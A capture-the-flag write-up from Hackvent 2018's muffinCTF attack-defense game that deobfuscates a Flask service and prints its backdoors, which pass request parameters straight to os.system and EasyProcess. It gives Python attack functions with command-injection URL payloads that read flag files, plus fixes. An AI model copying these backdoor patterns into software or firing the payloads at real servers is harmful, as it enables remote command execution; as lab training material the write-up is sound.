root@muffinCTFBox:/opt/tomcat/apache-tomcat-9.0.8/webapps/ROOT# nslookup
bash: nslookup: command not found
At the first glance I thought that this is an easy to exploit command injection vulnerability. Though it turned out that it’s not as easy, because Java tokenizes the command string and I did not find a way around this in an adequate amount of time.
Digging through my log files I also saw a lot of people attacking me on the searchPortname.jsp endpoint, but also without success.
After all I did neither fix this vulnerability, nor used it for attacks.
To harden the security of this piece of code, one could for example implement a filter on the GET-parameter port before passing it to Runtime.getRuntime().exec. Nevertheless this may also be error prone and thus the best partice is to the prevent direct system calls at all and use for example third party libraries to carry out the dns lookup.
After submitting at least two flags on two different ticks, as well as gaining maximal defense and availability points in those two ticks, the hackvent-flag is unlocked:
The flag is:
HV18{muffinCTF{d4y_2_g0sh_y0ur_r34lly_pwn1n_th3_stuff_l3l_g00d_b0y_g0_4h34d}}
Day 23: muffinCTF
Author: muffinx featuring xorkiwi Day 3 |
|
DAY 3 Services -------------------------------------------- . /:\ |:| |:| |:| |:| __ ,_|:|_, / ) *_ _ _ _ _ _ _ * (Oo / _I_ | `_' `-' `_' `-' `_' `-' `_'| +\ \ || __| ^ | | ^ \ \||___| | | | | \ /.:.\-\ | (*) |_ _ _ _ _ _ _ | \^/ | |.:. /-----\ | _<">_ | `_' `-' `_' `-' `_' `-' `_'| _(#)_ | |___| oOo | o+o \a/ \0 0/ \a/ (=) / | | 0'\a-a/\/ \/\a-a/`0 |_____\ : / /_^_\ | | /_^_\ | | \ \:/ || || | | || || | | | | d|_|b_T____________________________T_d|_|b \ / | \___ / / / | \_____\ / / `-' / / ________________________/ /___________ Name: barracks Description: The knights and warriors of the king are here practicing the art of war. These guys are no joke, be respectful when you talk with them. Other nations sent their assassins to poision our warriors, make sure that we thighten our security. Also maybe talk with these guys and to show the enemies our powerful warriors. Creator: xorkiwi .- ._ * . ( ) `) ._,--. _.-. ( .' | } ._ + .' ) `(_'-' |--'" )) | ( _. ) | '" - * - .-.-' ) _) . ["I"I"I"I"} . . ( ` .)`' I_I_I_I_I `-. ( ) [UUUUI_I_I_I_I `-..' |[__I_I_[#]_I . . + |__[I_I_I=I_I . ._ + |]_ I_[#]-I_I ._ ; |~ |_[ I_I=I_I_[, |~ uuuuu |__ I_I_I%I_I uuuuu | #_| |[ _$_I_I%%_I | _ | |- [ | [ %%I_g%%_I | -| __a:f ---..|_ |.--,,'|]_ %_Ia%%I_I -|_- |.------"" |_-#| (( |_[ $%I%%_!^! | _ | + | | )) |[_ |%.%I_|"| |_ | n Am n .-[_A_]_ '/ |_ / _Y_)_|`| -[N__]_ n ._.' `- _.--'`' ' "|\=\ '' `-. .' |\=\`-._ ` .-' `:. `---....__ ` Name: keep Description: This is the place where the king goes in difficult times. In your last audience it was clear, that the situation is critical. Defend the keep, the enemy troops are pushing more and more. And make sure that they pay for this. Creator: xorkiwi Login to: muffinCTF |
On the third day I focused on the barracks service.
The service is a Flask-based (python) webservice, with not much output on the base route:
The source code is obfuscated using base64:
root@muffinCTFBox:/home/barracks# cat main.py
#!/usr/bin/env python3
# muffinx_obsfucator
import base64;BcoiOXqIFr=exec;XWwFgKrRNr=base64.b64decode;BcoiOXqIFr(XWwFgKrRNr('SlJIRlB4RElZeT1leGVjO09OYVhuSEZvUkg9YmFzZTY0LmI2NGRlY29k ... a lot of base64 ... '));
To deobfuscate it code I used the following quick and dirty python script (saving the file to deobfuscate in decode1.txt beforehand):
root@kali:~/Documents/hv18/day23# cat deobfuscate.py
#!/usr/bin/env python
i = 1
while True:
ob = open('decode'+str(i)+'.txt').read()
first = ob.index("'")
secnd = ob.index("'", first+1)
b = ob[first+1:secnd]
i += 1
out = open('decode'+str(i)+'.txt', 'w')
out.write(b.decode('base64'))
out.close()
The script simply extracts the base64-string within the single quotes and decodes it. After 11 iterations an error is thrown indicating the last iteration:
root@kali:~/Documents/hv18/day23# ./deobfuscate.py
Traceback (most recent call last):
File "./deobfuscate.py", line 8, in
first = ob.index("'")
ValueError: substring not found
root@kali:~/Documents/hv18/day23# ls -al
total 1088
drwxr-xr-x 2 root root 4096 Dec 30 04:27 .
drwxr-xr-x 8 root root 4096 Dec 28 13:29 ..
-rw-r--r-- 1 root root 19532 Dec 30 04:27 decode10.txt
-rw-r--r-- 1 root root 9 Dec 30 04:27 decode11.txt
-rw-r--r-- 1 root root 262862 Dec 30 04:27 decode1.txt
-rw-r--r-- 1 root root 197047 Dec 30 04:27 decode2.txt
-rw-r--r-- 1 root root 147731 Dec 30 04:27 decode3.txt
-rw-r--r-- 1 root root 110743 Dec 30 04:27 decode4.txt
-rw-r--r-- 1 root root 83003 Dec 30 04:27 decode5.txt
-rw-r--r-- 1 root root 62199 Dec 30 04:27 decode6.txt
-rw-r--r-- 1 root root 46595 Dec 30 04:27 decode7.txt
-rw-r--r-- 1 root root 34891 Dec 30 04:27 decode8.txt
-rw-r--r-- 1 root root 26115 Dec 30 04:27 decode9.txt
-rwxr-xr-x 1 root root 266 Dec 25 07:36 deobfuscate.py
The second to last file (decode10.txt) contains multiple base64 strings:
root@kali:~/Documents/hv18/day23# cat decode10.txt
EUZZmKzHpO=exec;hJrTYujsus=base64.b64decode;EUZZmKzHpO(hJrTYujsus('aW1wb3J0IG9z'));EUZZmKzHpO(hJrTYujsus('aW1wb3J0IHN5cw=='));EUZZmKzHpO(hJrTYujsus('aW1wb3J0IGN0eXBlcw=='));EUZZmKzHpO(hJrTYujsus('aW1wb3J0IGJhc2U2NA=='));EUZZmKzHpO(hJrTYujsus('ZnJvbSBmbGFzayBpbXBvcnQgRmxhc2ssIHJlcXVlc3QsIHJlbmRlcl90ZW1wbGF0ZQ==')); ...
To reveal the actual code I replaced exec with print, imported base64 and added decode(‘utf8’) to all base64-decoded strings:
root@kali:~/Documents/hv18/day23# sed -i -e 's/exec/print/g' decode10.txt
root@kali:~/Documents/hv18/day23# sed "s/')/').decode('utf8')/g" decode10.txt > decode10_a.txt
root@kali:~/Documents/hv18/day23# (echo 'import base64;';cat decode10_a.txt) | python3 > main_deobfuscated.py
Now the file main_deobfuscated.py contains the deobfuscated script:
root@kali:~/Documents/hv18/day23# cat main_deobfuscated.py
import os
import sys
import ctypes
import base64
from flask import Flask, request, render_template
from easyprocess import EasyProcess
from werkzeug.serving import run_simple
ohai = Flask(__name__, static_url_path='/static')
ohai.secret_key = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
# interesting stuff in d.py
from d import *
from a import _pls
from b import _ak
from c import _yes
from d import _bob
from e import _backdoor
#begin_multiline
def four_twenty():
return 'lit'
#begin_multiline
def ak():
_ak(request.args.get('n'), request.args.get('k'))
return '_'
#begin_multiline
def pls():
return _pls(request.args.get('p'))
#begin_multiline
def blubb():
# TEE(1) ...
# ... unnecessary man page output ...
blubb = request.args.get('blubb')
# TEE(1) ...
# ... unnecessary man page output ...
return EasyProcess(blubb).call(timeout=5).stdout
b = 1
# TEE(1) ...
# ... unnecessary man page output ...
return(str(b))
routed_ak = ohai.route('/ak')(ak)
routed_pls = ohai.route('/pls')(pls)
routed_blubb = ohai.route('/blubb')(blubb)
routed_blubb = ohai.route('/yes')(_yes)
routed_blubb = ohai.route('/bob')(_bob)
routed_blubb = ohai.route('/backdoor')(_backdoor)
routed_four_twenty = ohai.route('/')(four_twenty)
run_simple('0.0.0.0', 8085, ohai, threaded=True)
This way we can deobfuscate all other scripts (a.py, …, e.py).
Actually I did not find any real vulnerabilities, but a lot of backdoors:
1. backdoor: /blubb
Within the file main.py a route to /blubb is added, passing the GET-parameter blubb to EasyProcess.call:
...
def blubb():
blubb = request.args.get('blubb')
return EasyProcess(blubb).call(timeout=5).stdout
b = 1
return(str(b))
...
routed_blubb = ohai.route('/blubb')(blubb)
To fix this, we can simply comment out the call.
To exploit the backdoor I added the following attack function:
def attackBlubbBackdoor(url):
v = ''
aurl = url + '/blubb?blubb=ls%20-t%20/home/barracks/knights'
try:
r = requests.get(aurl, timeout=3)
for line in r.text.split('\n'):
line = line.strip()
try:
r = requests.get(url+'/p?pls='+line, timeout=3)
v += r.text
except: pass
except: pass
return v
...
attack_all('port', attackBlubbBackdoor)
Instead of directly running cat on the flags/* directory, I used ls -t to list all flag files order by modification time and then accessed the specific file through the /pls route.
2. backdoors: /pls and /ak
Within the files a.py (route /pls) and b.py (route /ak) there is a backdoor, which passes a command enclosed in c’s to os.system:
root@kali:~/Documents/hv18/day23# cat a_deobfuscated.py
...
def _pls(p):
if '(c)' and '(/c)' in p:
c = p[p.index('(c)')+3:]
c = c[:c.index('(/c)')]
os.system(c)
return '_c_'
...
root@kali:~/Documents/hv18/day23# cat b_deobfuscated.py
...
def _ak(n, k):
if '(c)' and '(/c)' in k:
c = k[k.index('(c)')+3:]
c = c[:c.index('(/c)')]
os.system(c)
return '_c_'
...
The fix is straightforward again: simply comment out the backdoor.
To exploit the backdoors I added the following attack function:
def attackPlsAkBackdoor(url):
aurl = url + '/pls?p=%5bc%5dcat%20/home/barracks/knights/*>/home/barracks/knights/aaa%5b/c%5d'
try:
r = requests.get(aurl, timeout=3)
except: pass
aurl = url + '/ak?k=%5bc%5dcat%20/home/barracks/knights/*>/home/barracks/knights/aaa%5b/c%5d'
try:
r = requests.get(aurl, timeout=3)
except: pass
aurl = url + '/pls?p=aaa'
try:
r = requests.get(aurl, timeout=3)
return r.text
except: return ''
...
attack_all('port', attackPlsAkBackdoor)
Since we cannot directly see the output of the command we run, we store the content of all flags in /home/barracks/knights/aaa again and retrieve it through the /pls route.
3. backdoor: /backdoor
Within the file e.py (route /backdoor) there is another backdoor:
root@kali:~/Documents/hv18/day23# cat e_deobfuscated.py
def _backdoor():
try:
os.system(request.args.get('i_like_cookies'))
except: pass
return 'backdoor'
Again we can simply comment out or remove the route to fix this backdoor.
To exploit the backdoor I added the following attack function:
def attackBackdoorBackdoor(url):
aurl = url + '/backdoor?i_like_cookies=cat%20/home/barracks/knights/*>/home/barracks/knights/aaa'
try:
requests.get(aurl, timeout=3)
except: pass
aurl = url + '/pls?p=aaa'
try:
r = requests.get(aurl, timeout=3)
return r.text
except: return ''
...
attack_all('port', attackBackdoorBackdoor)
After submitting at least two flags on two different ticks, as well as gaining maximal defense and availability points in those two ticks, the hackvent-flag is unlocked:
The flag is:
HV18{muffinCTF{d4y_3_t3h_1337_b001s_g3t_4ll_d3m_gr0up13z_4nd_b0x3n}}